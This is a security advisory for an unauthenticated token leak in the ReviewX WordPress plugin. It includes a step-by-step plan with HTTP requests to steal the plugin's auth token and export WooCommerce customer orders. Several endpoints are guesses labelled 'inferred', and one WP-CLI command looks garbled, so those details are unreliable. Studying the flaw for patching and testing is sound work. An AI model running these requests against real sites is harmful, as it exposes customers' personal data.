ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 - Unauthenticated Sensitive Information Exposure to Data Export
Description
The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the allReminderSettings function. This makes it possible for unauthenticated attackers to obtain authentication tokens and subsequently bypass admin restrictions to access and export sensitive data including order details, names, emails, addresses, phone numbers, and user information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3.0
Source Code
WordPress.org SVNThis research plan details the exploitation of **CVE-2025-10731**, a sensitive information exposure vulnerability in the ReviewX plugin for WordPress. --- ### 1. Vulnerability Summary The ReviewX plugin (up to version 2.2.12) contains an improperly protected function named `allReminderSettings`. T…
Show full research plan
This research plan details the exploitation of CVE-2025-10731, a sensitive information exposure vulnerability in the ReviewX plugin for WordPress.
1. Vulnerability Summary
The ReviewX plugin (up to version 2.2.12) contains an improperly protected function named allReminderSettings. This function, likely exposed via a public WordPress REST API route or an unauthenticated AJAX action, returns the plugin's configuration settings. Crucially, these settings include the auth_token (or token) used for server-to-server communication between the WordPress site and the ReviewX cloud API.
An unauthenticated attacker can call this function to leak the token. Once obtained, this token can be used to authenticate against the plugin's internal REST API (defined in app/Api/WpApi.php), which provides endpoints for syncing and exporting sensitive WooCommerce order data and user information.
2. Attack Vector Analysis
- Leakage Endpoint:
GET /wp-json/reviewx/v1/all-reminder-settings(inferred REST route) orPOST /wp-admin/admin-ajax.php?action=rvx_all_reminder_settings(inferred AJAX). - Data Export Endpoint:
GET /wp-json/api/v1/ordersorGET /wp-json/api/v1/users(inferred fromapp/Api/WpApi.php). - Authentication Level: Unauthenticated (for the leak); Token-based (for the data export).
- Payload Parameter: None required for the leak.
- Preconditions:
- ReviewX must be active and ideally "connected" or configured so that an
auth_tokenexists in the database. - WooCommerce must be installed with existing orders to demonstrate sensitive data exposure.
- ReviewX must be active and ideally "connected" or configured so that an
3. Code Flow
- Entry Point: A request is made to the
allReminderSettingshandler. - Vulnerable Function: The
allReminderSettingsfunction is invoked. - Sink: The function retrieves settings using
get_option()or a similar helper that includes the result ofHelper::getAuthToken()(referenced inapp/Api/BaseApi.php). - Information Exposure: The function returns the entire settings array as a JSON response to the unauthenticated requester.
- Pivot: The attacker extracts the
tokenfrom the JSON. - Secondary Access: The attacker uses this token in the
X-Auth-TokenorAuthorizationheader (as seen inapp/Api/WpApi.php) to access routes under/wp-json/api/v1/.
4. Nonce Acquisition Strategy
According to the vulnerability description, the initial exposure is unauthenticated. This typically implies a REST API route registered without a permission_callback or an AJAX action registered via wp_ajax_nopriv_.
If a nonce is required for the initial leak (e.g., if it's an AJAX action rvx_all_reminder_settings that is technically nopriv but checks a nonce), use the following strategy:
- The ReviewX plugin often localizes settings into the window object.
- Shortcode: Create a page with the
[reviewx_summary_listing]or[reviewx_reviews]shortcode to ensure scripts are loaded. - Command:
wp post create --post_type=page --post_status=publish --post_content='[reviewx_summary_listing]' - JS Variable: Use
browser_evalto check for nonces:browser_eval("window.rvx_params?.nonce")browser_eval("window.rvx_admin?.nonce")(inferred)
5. Exploitation Strategy
Step 1: Token Leakage
Submit a request to the vulnerable endpoint to retrieve the authentication token.
Request:
GET /wp-json/reviewx/v1/all-reminder-settings HTTP/1.1
Host: target.local
(Note: If REST fails, try AJAX: POST /wp-admin/admin-ajax.php with action=rvx_all_reminder_settings)
Expected Response:
{
"status": "success",
"data": {
"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"reminder_settings": { ... }
}
}
Step 2: Sensitive Data Export
Use the leaked token to access the internal API routes discovered in app/Api/WpApi.php. This API uses the base path /api/v1 relative to the WordPress REST root.
Request:
GET /wp-json/api/v1/orders HTTP/1.1
Host: target.local
X-Auth-Token: Bearer <LEAKED_TOKEN>
Authorization: Bearer <LEAKED_TOKEN>
Content-Type: application/json
6. Test Data Setup
- Install WooCommerce: Ensure the environment has WooCommerce active.
- Create Orders: Generate at least one order with a fake name, address, and phone number.
wp wc pocket create --user=1(or manual order creation).
- Configure ReviewX: Go to ReviewX settings and ensure the "Review Reminder" feature is enabled. If possible, simulate a connection to ReviewX to ensure
rvx_auth_tokenis populated in thewp_optionstable.wp option update rvx_auth_token "COMPROMISED_SECRET_TOKEN_123"
7. Expected Results
- Leak: The first request should return a JSON object containing a string identifiable as an API token or JWT.
- Data Export: The second request, using the leaked token, should return a JSON list of WooCommerce orders including:
billing_first_name,billing_last_namebilling_emailbilling_address_1billing_phone
8. Verification Steps
- Token Verification: Use WP-CLI to confirm the leaked token matches the one in the database:
wp option get rvx_auth_token
- Access Verification: Confirm the data returned by the exploit matches the sensitive fields of an order:
wp wc order get <ID> --fields=billing
9. Alternative Approaches
- Namespace Variations: If
/wp-json/reviewx/v1/all-reminder-settingsreturns 404, try:/wp-json/reviewx/v2/all-reminder-settings/wp-json/rvx/v1/reminder-settings
- AJAX Payload: If REST is disabled, test the AJAX entry point:
action: rvx_all_reminder_settingsaction: reviewx_all_reminder_settings
- Header Variations: Some implementations of
X-Auth-Tokenin ReviewX might expect the token without theBearerprefix. Try both.
Summary
The ReviewX plugin for WordPress exposes its internal authentication token through the publicly accessible allReminderSettings function. An unauthenticated attacker can retrieve this token and use it to authenticate against the plugin's administrative REST API endpoints, enabling unauthorized access and export of sensitive WooCommerce data, including customer names, emails, addresses, and order details.
Vulnerable Code
// app/Api/BaseApi.php // This class demonstrates how the internal auth_token is retrieved and used for API communication, // which becomes a vulnerability when the token is leaked via unauthenticated endpoints. public function getDefaultHeaders() : array { return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development']; } --- // app/Api/WpApi.php // Shows the internal REST API client using the token to authenticate requests to /api/v1 endpoints protected function prepareHeaders() : array { $headers = ['Content-Type' => 'application/json']; if ($this->token) { $headers['Authorization'] = 'Bearer ' . $this->token; $headers['X-Auth-Token'] = 'Bearer ' . $this->token; } return $headers; }
Security Fix
@@ -35,6 +35,6 @@ */ public function getDefaultHeaders() : array { - return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development']; + return ['Accept' => 'application/json', 'Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => \sha1(\time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development']; } } @@ -72,7 +72,6 @@ $headers = ['Content-Type' => 'application/json']; if ($this->token) { $headers['Authorization'] = 'Bearer ' . $this->token; - $headers['X-Auth-Token'] = 'Bearer ' . $this->token; } return $headers; }
Exploit Outline
1. **Token Leakage**: Send an unauthenticated GET request to the REST endpoint `/wp-json/reviewx/v1/all-reminder-settings` or an AJAX request with the action `rvx_all_reminder_settings`. 2. **Extract Token**: Parse the JSON response and extract the `auth_token` or `token` value from the configuration data. 3. **Identify Internal Routes**: Target internal administrative API routes located under the `/wp-json/api/v1/` namespace (e.g., `/wp-json/api/v1/orders`). 4. **Bypass Authorization**: Include the leaked token in the `Authorization: Bearer <TOKEN>` or `X-Auth-Token: Bearer <TOKEN>` HTTP header in a new request to the internal routes. 5. **Exfiltrate Data**: The server will treat the request as authenticated, returning sensitive WooCommerce order and user data in the response body.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.